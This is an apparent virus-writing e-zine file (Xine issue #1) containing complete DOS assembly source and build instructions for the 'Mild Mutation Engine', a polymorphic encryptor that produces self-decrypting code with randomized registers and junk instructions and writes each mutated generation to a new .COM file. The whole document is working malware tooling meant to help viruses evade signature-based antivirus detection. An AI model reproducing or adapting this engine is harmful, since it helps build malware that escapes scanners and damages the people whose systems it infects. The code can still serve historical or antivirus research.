
                                        /-----------------------------\
                                        | Xine - issue #1 - Phile 018 |
                                        \-----------------------------/

;JHB presents
;The Mild Mutation Engine
;
;
;TO COMPILE
;tasm, tlink to exe
;then mk.bat to convert to com file
;mk.bat
;debug da1.exe
;nda1.com
;w
;q

;debug da1.com until the bp,bx then make bp = 0100
;go
;done
;------------------------------------------------------
.286
shift_loop      equ     2
 
code            segment
		org     0h
		assume  cs:code,ds:code

start:
	 
virus_begin:    

 
virus_code:
		push    ds es

							      
		sub     bx,offset virus_code 
		mov     bp,bx
		
		MOV     Dl,byte PTR [GENERATION + bp]
		INC     Dl
		MOV     byte PTR [GENERATION +bp ],Dl
		 
;ok start to set up for the call to the MME
;si - start of code to encrypted
;di = the buffer that will hold said decryptor and encrypted code
;cx = the lenght of the encrypted area
;dx = offset in the file for the decrytptor
;ax = size of the decryptor must be >26 bytes
;
;------------------------------------------------------------------------    
		MOV     DX,0100h  ;MAKES THE RIGHT OFFSET FOR COM FILES
		mov     bx,virus_size /2    ;size of code to encrypt
		
		mov     si,offset virus_code
		add     si,bp

		mov     di,offset encrypt_buffer
		add     di , bp
 
		mov     ax,40h
		
		call    encrypt_code
		
		
		
		mov     ax,di                      ;figures the new file
		mov     di,offset encrypt_buffer   ;size
		add     di , bp                    ;
		sub     ax,di                      ;
		push    ax                         ;

;create the file to write the code to
	mov     ax,3c00h
	XOR     CX,CX
	MOV     DX,OFFSET file_name 
	add     dx,bp
	INT     21H

	PUSH    AX 
	POP     BX

	MOV     AX,4000H
	pop     cx
	MOV     DX,OFFSET encrypt_buffer
	add     dx,bp
	INT     21H
	
	POP     ES DS
	mov     ax,4C00H                 
	int     21H
	

;-----------------------------------------------------------------------
;dx = to the offset of the decryptor
;bx = size in words of code to be encrytped
;di = the buffer where we will leave the code
;si = the source of the to be encrypted code
;ax = size requested
;
encrypt_code:
		push    ax cx
		
		push    bx                   ;push the size of the code to
                                             ;be encrypted
		push    dx                   ;offset into the file where
                                             ;the decryptor is to be
		push    ax                   ;requested size of the 
                                             ;decryptor

try_again:                
		xor     ah,ah                ; get time for random number
		int     1Ah
		
		and     dx,00000110b         ;binary mask to keep
                                             ;the cipher to 2 4 6
		cmp     dx,0
		je      try_again
		mov     word ptr[shift_amt + bp],dx  ; save encryption key
		
		pop     cx
		mov     word ptr ds:[size_requested + bp],cx ;requested size of
							     ;decryptor
		
		pop     cx                               ;sets up the offset
		mov     word ptr ds:[code_offset + bp] ,cx  ;for the code
		
		pop     cx                              ;sets the size of
		mov     word ptr ds:[virus_size_wd + bp],cx 
                                                     ;code to be encrypted
		 							     
		push    cs                      ; ES = CS
		pop     es
		
		     
 
 
		 
		call    make_decrypt
		;at this point si = start of the code to be encrypted 
		;while di = the point in buffer for it to be placed
		
		 
		
		 
		 

;----------------------------------------------------------------------
;EN-CRYPT_ROUTINE                
		PUSH    DX
		
		 
		mov     cx,VIRUS_SIZE / 2 + 1
encrypt:
		MOV     DX,word ptr [shift_amt + bp] 
		lodsw                           ; encrypt virus code
		
		XCHG    DX,CX
KEEP_GOING:                
		CLC
		SHR     AX,1
		JNC     NO_HIGH_BIT_EN
		ADD     AX,1000000000000000B
NO_HIGH_BIT_EN:
		
		DEC     CX
		JCXZ    DONE_2
		JMP     SHORT KEEP_GOING
DONE_2:
		stosw
		
		XCHG    DX,CX
		loop    encrypt

		pop     DX cx ax
		ret
;EN-CRYPT_ROUTINE                
;--------------------------------------------------------------------
;make decrypt routine
;data

size_reg        db      02h     ;dx
index_reg       db      03h     ;bx
shift_reg       db      01h     ;cx
holder_reg      db      00h     ;ax

virus_size_wd   dw      0               ;size of the code to be encrypted
virus_start     dw      0               ;where the code to encrypted is
					; to be after it is encrypted
					;determined by the MME
SHIFT_AMT       DW      02

code_offset     dw      0               ;used to determine where we are 
					;placing the decrytor
decrytptor_sz   dw      26h             ; 
size_requested  dw      40h              
	;virus_size + 25h        ;which is the constant decryptor
						;size
rgs_used        db      00010011b       ;do not use sp ax cx 
					;1  00000001  ax = 000  0
					;2  00000010  cx = 001  1
					;4  00000100  dx = 010  2
					;8  00001000  bx = 011  3
					;10 00010000  sp = 100  4
					;20 00100000  bp = 101  5
					;40 01000000  si = 110  6
					
					;80 10000000  di = 111  7
 
;ds:di = the start of the buffer where the decryptor is to be

 
make_decrypt:
	
	mov     bx,ds:[decrytptor_sz + bp]              ;   dw      26h     
	mov     ax,ds:[size_requested + bp]             ;   dw      30h    
	
	cmp     ax,bx
	jg      size_is_ok 
	
	mov     ax,bx 
	mov     byte ptr ds:[noise_amount+ bp],0      ;total # bytes to add
	mov     word ptr ds:[size_requested + bp],26h ;starts
	jmp     short no_noise_wanted

size_is_ok:
	sub     ax,bx
	mov     byte ptr ds:[noise_amount+ bp],al   ;total # bytes to add
	
	
	
no_noise_wanted:        

	mov     ax,ds:[code_offset + bp]        ;where the virus
	add     ax,ds:[size_requested + bp]     ;starts
	mov     ds:[virus_start + bp],ax        ;
	      

;here is where the calls to mutate each reg should be         
;those calls will also determine what size reg 16 or 8 bit to use
;where they can be changed
	
	call    set_regs_used
	
	call    mut_index_reg
	
	call    mut_reg
	mov     BYTE PTR DS:[SIZE_REG + BP],DL
	
	call    mut_reg
	mov     BYTE PTR DS:[HOLDER_REG + BP],DL
	
	call    mut_reg
	mov     BYTE PTR DS:[SHIFT_REG + BP],DL

;----------------------------------------------------------------------
;this is where the actaul code generation starts

;----------------------------------------------------------  
	call    get_noise
	call    set_noise
;----------------------------------------------------------                

	mov     aL,0B8H                 ;mov dx 
	add     aL,ds:[size_reg + bp]
	stosb
	mov     ax,ds:[virus_size_wd + bp]
	stosw                           ;mov dx,virus_size/2

;----------------------------------------------------------  
	call    get_noise
	call    set_noise
;----------------------------------------------------------                

	mov     aL,0b8h
	add     aL,ds:[index_reg + bp]       ;how long
	stosb
	mov     ax,ds:[virus_start + bp]
	stosw                           ;mov bx, offset virus_code

;---------------------------------------------------------- 
	call    get_noise
	call    set_noise
;----------------------------------------------------------                
	
	mov     aL,050h                 ;push reg   
	add     aL,ds:[index_reg + bp]
	stosb                           ;push bx   

;----------------------------------------------------------       
	call get_noise
	call set_noise
;----------------------------------------------------------                
	mov     aL,0b8h                 ;MOV
	ADD     aL,ds:[SHIFT_reg + bp]
	STOSB
	MOV     AX,DS:[SHIFT_AMT + bp]       
	STOSW                           ;MOV CX,SHIFT_LOOP
	push    di                      ; use to figure jnz       3j

;---------------------------------------------------------- 
	call    get_noise
	call    set_noise
;----------------------------------------------------------------
	MOV     AL,02EH
	STOSB                           ;CS:                   
;-------------------------------------------        
	
	MOV     Al,8BH                  ;MOV

	
	MOV     Ah,DS:[INDEX_REG + bp]
	
	CMP     Ah,03H                  ;BX
	JNE     NXT1                    ;
	MOV     Ah,07H                  ;THE OFFSET BX
	JMP     SHORT DONE1

NXT1:   CMP     Ah,06H                  ;SI
	JNE     NXT2                    ;
	MOV     Ah,04H
	JMP     SHORT DONE1

NXT2:   MOV     Ah,05H

DONE1:
	MOV     DL,DS:[holder_reg + bp]
	shl     dl,3
	mov     dh,11000111b            ;zero out the rrr part
		
	and      Ah,dh 
	or       Ah,dl                  ;put the value in
	STOSW                           ;MOV AX, CS:[BX]
	push    di                      ;used for size figure for jmp 2j

;----------------------------------------------------------       
	call    get_noise
	call    set_noise
;-----------------------------------------------------------        
	
	MOV     AL,0F8H
	STOSB                           ;clc
;----------------------------------------------------------------         
; THIS AREA CAN BE MUTATED SEVERAL WAYS AT LEAST 4         
; D1 E0 90, D1 F0 90,  C1 E0 01, C1 F0 01 
	
	mov      dl,byte ptr ds:[SIZE_REG + BP] 
	DB      0F6H, 0CAH, 01H        ;OTHER FORM OF TEST
	;TEST   DL,01H
        ;JNE    C1_CODE                  ;

        JMP     C1_CODE
	
	mov     al,0D1h                 ; 
	JMP     SHORT WRITE_IT          ;

C1_CODE:
	MOV     AL,0C1h  
	
WRITE_IT:        
	
	;TEST   DL,02H                        
	DB      0F6H, 0CAH, 02H        ;OTHER FORM OF TEST
        ;jne     Fo_code

        JMP     FO_CODE
	mov     ah,0E0h
	jmp     short write_2

Fo_code:
	mov     ah,0F0h

	

write_2:
	add     ah,ds:[holder_reg + bp]
	stosw                           ;shl ax,1   
	cmp     al,0c1h
	je      need_1
	INC     byte ptr DS:[NOISE_AMOUNT + BP]
	JMP     SHORT NO_NEED_01

need_1:
	mov     al,01
	stosb

NO_NEED_01:
;----------------------------------------------------------                 
	call    get_noise
	call    set_noise
;----------------------------------------------------------                
	
	mov     al,073h
	stosb
	call    get_noise
	mov     al,01h                 ;go one byte
	add     al,bl                  ;how much noise
	stosb                          ; 
				;jnb  ???
				;determine how many bytes the next
				;instuction takes before and after it
				;put that value in second al
call    set_noise

;----------------------------------------------------------------        
	mov     al,40h
	add     al,ds:[holder_reg + bp]
	stosb                           ;inc ax
;----------------------------------------------------------                
	call    get_noise
	call    set_noise
;----------------------------------------------------------                
	mov     al,48h
	add     al,ds:[shift_reg + bp]
	stosb                           ;dec cx   
;----------------------------------------------------------     
	call    get_noise
	call    set_noise
;----------------------------------------------------------                

	mov     al,83h
	stosb
	mov     al,0f8h
	add     al,ds:[shift_reg + bp]
	mov     ah,00
	stosw                           ;cmp cx,0

;----------------------------------------------------------   
	call    get_noise
	call    set_noise
;----------------------------------------------------------                
	
	mov     al,074h
	stosb     
	
	mov     al,02h                  ;again must track for variable
	call    get_noise               ;noise type instrusctions
	add     al,bl
	stosb                           ;jz ???
	call    set_noise

;----------------------------------------------------------------        
	mov     al,0ebh
	stosb                           ;again must track for variable
	
	mov     bx,di
	pop     ax
	sub     ax,bx
	dec     ax
	;mov     al,0f1h                 ;noise instruction 
	stosb                           ;jmp ???      jmp 010f
;----------------------------------------------------------             
	call    get_noise
	call    set_noise
;----------------------------------------------------------                

	mov     al,2eh
	stosb                   ;cs:
;------------------------------------------------------------               
	mov     al,089h     
	
	MOV     Ah,DS:[INDEX_REG + bp]
	
	CMP     Ah,03H                  ;BX
	JNE     NXT1a                    ;
	MOV     Ah,07H                  ;THE OFFSET BX
	JMP     SHORT DONE1a

NXT1a:   CMP     Ah,06H                  ;SI
	JNE     NXT2a                    ;
	MOV     Ah,04H
	JMP     SHORT DONE1a

NXT2a:   MOV     Ah,05H

DONE1a:
	MOV     DL,DS:[holder_reg + bp]
	shl     dl,3
	mov     dh,11000111b            ;zero out the rrr part
		
	and      Ah,dh 
	or       Ah,dl                  ;put the value in
	STOSW                           ;MOV CS:[BX],AX 
 
;----------------------------------------------------------          
	call    get_noise
	call    set_noise
;----------------------------------------------------------                
	
	mov     al,83h
	stosb
	mov     al,0c0h
	add     al,ds:[index_reg + bp]
	mov     ah,02
	stosw                           ;add bx,2
;----------------------------------------------------------            
	call    get_noise
	call    set_noise
;----------------------------------------------------------                
	mov     al,48h
	add     al,ds:[size_reg + bp]
	stosb                           ;dec dx   

;----------------------------------------------------------             
	call    get_noise
	call    set_noise
;----------------------------------------------------------                
	mov     bx,di
	pop     ax
	sub     ax,bx
	xor     ah,ah
	sub     al,5
	xchg    al,ah
	mov     al,075h                 ;jnz
	;mov     ah,0e2h                 ;again needs to variable
	stosw
;----------------------------------------------------------------
	mov     al,05bh
	stosb                           ;pop     bx
;----------------------------------------------------------------        
;should put in any missing bytes to fill in the end        
;
more_bytes_needed:

	mov     bl,ds:[noise_amount + bp]        
	cmp     bl,0
	je      outta_here
	call    set_noise
	cmp     ds:[noise_amount + bp],0
	je      more_bytes_needed
outta_here:        
	ret

;----------------------------------------------------------------        
get_noise:                              ;determine #noise bytes
	push    dx        
	xor     dx,dx
	
	cmp     byte ptr ds:[noise_amount + bp],0
	je      do_not_need
	
	cmp     byte ptr ds:[noise_amount + bp],1
	je      only_one_needed

too_big:
get_more:        
	call    get_random              ; 0-7 bytes in dl
 
ok_1:
	cmp     dl,byte ptr ds:[noise_amount + bp]
	jg      too_big
	
	mov     bx,dx

do_not_need:
	pop     dx 
	ret                             ;

only_one_needed:
	mov     bx,01
	jmp     short do_not_need
;---------------------------------------------------------------
noise_amount    db      0
;---------------------------------------------------------------
last_noise      db      0
;---------------------------------------------------------------
					;1  00000001  ax = 000  0
					;2  00000010  cx = 001  1
					;4  00000100  dx = 010  2
					;8  00001000  bx = 011  3
					;10 00010000  sp = 100  4
					;20 00100000  bp = 101  5
					;40 01000000  si = 110  6
					;80 10000000  di = 111  7

;---------------------------------------------         
len_4   equ     end_noise_4 - noise_4
noise_4:        
	push    ax              ;1
	int     11h             ;2
	pop     ax              ;1
end_noise_4:
;---------------------------------------------         
len_6   equ     end_noise_6 - noise_6       
noise_6:        
	push    ax              ;1
	mov     ax,0200h        ;3
	int     16h             ;2
	pop     ax              ;1
end_noise_6:
;---------------------------------------------         

len_7   equ     end_noise_7 - noise_7
noise_7:        
	push    ax
	mov     ax,1200h
	int     16h
	pop     ax
end_noise_7:
;---------------------------------------------         
;
;on entry 
;bl = number of bytes we want to use
;bh = flags to what we can not use        
;also use the rgs_used  used flag to allow usage of other regs
;in the do nothing routines

set_noise:
	;cmp     bh,00h                
	
	CMP     BL,0
	jne     bytes_needed
	ret

bytes_needed:
	push    ax cx
	xor     cx,cx
	mov     cl,byte ptr ds:[noise_amount + bp]
	cmp     cl,0
	je      no_more_bytes_need
	

	cmp     bl,4
	je     add4

	;CMP     BL,6
	;JE      ADD6

	cmp     cl,7
	jge     add7      

	
put_more:
	mov     al,090h
	stosb
	dec     cx
	dec     bl
	cmp     bl,0
	jne     put_more

d_add7:        
	mov     byte ptr ds:[noise_amount + bp],cl

no_more_bytes_need:
	
	pop     cx ax
	ret

;---------------------------------------------         
add7:
	push    cx si
	mov     si,offset noise_7
	add     si,bp
	mov     cx,len_7
	rep     movsb   
	pop     si cx     
	sub     cx,7
	jmp     short d_add7 
;---------------------------------------------         
add4:
	push    cx

	xor     cx,cx
	call    chk_new_reg 
	jc      need_to_save_ax
	
	mov     ax,11cdh
	stosw
	pop     cx
	dec     cx
	dec     cx
	jmp short d_add7         
	
need_to_save_ax:
	push    si
	mov     si,offset noise_4
	add     si,bp
	mov     cx,len_4
	rep     movsb   
	pop     si cx     
	sub     cx,4
	jmp short d_add7         
;---------------------------------------------         
add6:
	push    cx si
	mov     si,offset noise_6
	add     si,bp
	mov     cx,len_6
	rep     movsb   
	pop     si cx     
	sub     cx,6
	jmp     short d_add7 

;----------------------------------------------------------------        
;int 21 30 ax, ax bx cx -> get dos function
;int 21 20 ax, ax       -> null function for cpm
;int 21 18 ax, ax       -> null function for cpm
;int 21 0b ax, ax       -> gets stdin input
;int 21 0d ax, ax       -> disk reset   
;int 21 06 ah dl = ffh, al -> direct console input 
;int 13 10 ax dl, ax cf   ->check if drive is ready   
;int 16 12 ax, ax        -> get extended shift states
;int 17 ah,dx ah         -> get printer status
;
;----------------------------------------------------------------        
last_random     db      0

get_random:
	push    ax cx

new_random:        
	
	xor     ah,ah
	int     1ah
	and     dl,00000111b
	cmp     dl,ds:[last_random+bp]
	je      new_random
	mov     byte ptr ds:[last_random+bp],dl   
	pop     cx ax
	ret
;----------------------------------------------------------------
;----------------------------------------------------------------        
set_regs_used:
	push    ax
	mov     al,00010000b                    ;sp  
	mov     byte ptr ds:[rgs_used + bp],al
	pop     ax
	ret
;----------------------------------------------------------------
mut_index_reg:
		pusha

try_again_i:
		call    get_random
		
		cmp     dl,0
		je      try_again_i
		or      dl,00000010b
		cmp     dl,2
		je      try_again_i

		mov     cl,dl
		call    chk_new_reg
		jc      try_again_i
		mov     byte ptr ds:[index_reg + bp],dl
		
		popa
		ret
;=====================================================================
mut_reg:
	       push     cx 
try_again_s:             
		call       get_random
		
		mov     cl,dl
		call    chk_new_reg
		jc      try_again_s
		
		 
		pop     cx
		ret
;======================================================================
 


;======================================================================
;on call 
;cl = the reg to use in the rrr format like cx = 001
;if ok then c is not set and rgs_used is set
;if no good then c is set 
 
chk_new_reg:
		
		pusha
		xor     ax,ax
		inc     ax
		
		shl     al,cl
		push    ax
		
		and     al,byte ptr ds:[rgs_used + bp]
		jz     ok_to_use
		
		stc
		pop     ax
		jmp     short problem
ok_to_use:
;this area will set the rgs_used flags                

		pop     ax
		or      byte ptr ds:[rgs_used + bp],al
problem:                
		popa
		ret
;----------------------------------------------------------------



;----------------------------------------------------------------
file_name       db      "TEST"
GENERATION      DB      "A"
EXT             DB      ".COM",0
bufferjhb       db      0
virus_end:

VIRUS_SIZE      equ     OFFSET virus_end - OFFSET virus_begin
read_buffer     db      28 dup (?)              ; read buffer
encrypt_buffer  db      VIRUS_SIZE dup (?)      ; encryption buffer

end_heap:

MEM_SIZE        equ     end_heap - start

code            ends
		end     start
